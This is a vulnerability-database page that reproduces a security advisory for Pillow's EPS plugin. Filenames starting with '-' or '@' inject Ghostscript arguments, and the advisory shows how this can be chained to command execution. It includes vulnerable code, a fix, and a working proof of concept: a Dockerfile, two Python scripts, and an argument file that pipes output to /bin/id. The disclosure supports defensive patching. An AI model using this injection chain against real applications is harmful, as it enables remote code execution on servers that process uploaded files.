GHSA-W889-685W-C8FH

Vulnerability from github – Published: 2026-10-21 19:58 – Updated: 2026-10-21 19:58
VLAI
Summary
Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
Details

Summary

PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Type

CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected

  • Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
  • Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @HLe4s

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T19:58:44Z",
    "nvd_published_at": "2026-10-19T22:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f \u003cinfile\u003e`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow\u0027s default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n    infile = fp.name                      # user-controlled path used as-is, without validation\nelse:\n    in_fd, infile_temp = tempfile.mkstemp()\n    os.close(in_fd)\n    infile = infile_temp\n    # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n    gs_binary,\n    \"-q\",\n    f\"-g{width:d}x{height:d}\",\n    f\"-r{res_x:f}x{res_y:f}\",\n    \"-dBATCH\",\n    \"-dNOPAUSE\",\n    \"-dSAFER\",                            # default sandbox \u2014 does NOT stop this injection\n    f\"-sDEVICE={device}\",\n    f\"-sOutputFile={outfile}\",\n    \"-c\",\n    f\"{-bbox[0]} {-bbox[1]} translate\",\n    \"-f\",\n    infile,                               # injected here: inserted into argv with no check for\n                                          # option prefixes (-, --) or Ghostscript\u0027s @-file token\n                                          # =\u003e argument injection (CWE-88)\n    \"-c\",\n    \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f \u003cinfile\u003e position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript\u0027s argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow\u0027s default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n    if hasattr(fp, \"name\") and os.path.exists(fp.name):\n        infile = os.path.abspath(fp.name)   # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript\u0027s argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv \u0026\u0026 /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with \u0027-f {name}\u0027\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn\u0027t validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won\u0027t display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with \u0027-f {name}\u0027\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"*********************************************\")\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection  ; Pillow code doesn\u0027t validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won\u0027t call `id`\")\n```\narg\n```\n-sOutputFile=%pipe%/bin/id\n-c\n1\ndict\ndup\n/OutputFile\n(%pipe%/bin/id)\nput\nsetpagedevice\n```\n\n### Impact\n**Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.\n\n**Potential RCE (verified).** The filename is also not validated against Ghostscript\u0027s `@`-file syntax: a filename of the form `@\u003cpath\u003e` causes Ghostscript to read additional command-line arguments from `\u003cpath\u003e`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`).\n\nApplies under Pillow\u0027s default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)\n\n### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk)\nThis is not the malicious-EPS-content risk described in Pillow\u0027s security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this.\nBecause Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow\u0027s responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.\n\n### Author\nChanu Kang (from CysecLab at KAIST) @HLe4s",
  "id": "GHSA-w889-685w-c8fh",
  "modified": "2026-10-21T19:58:44Z",
  "published": "2026-10-21T19:58:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: Argument Injection in Ghostscript call, potentially leading into RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.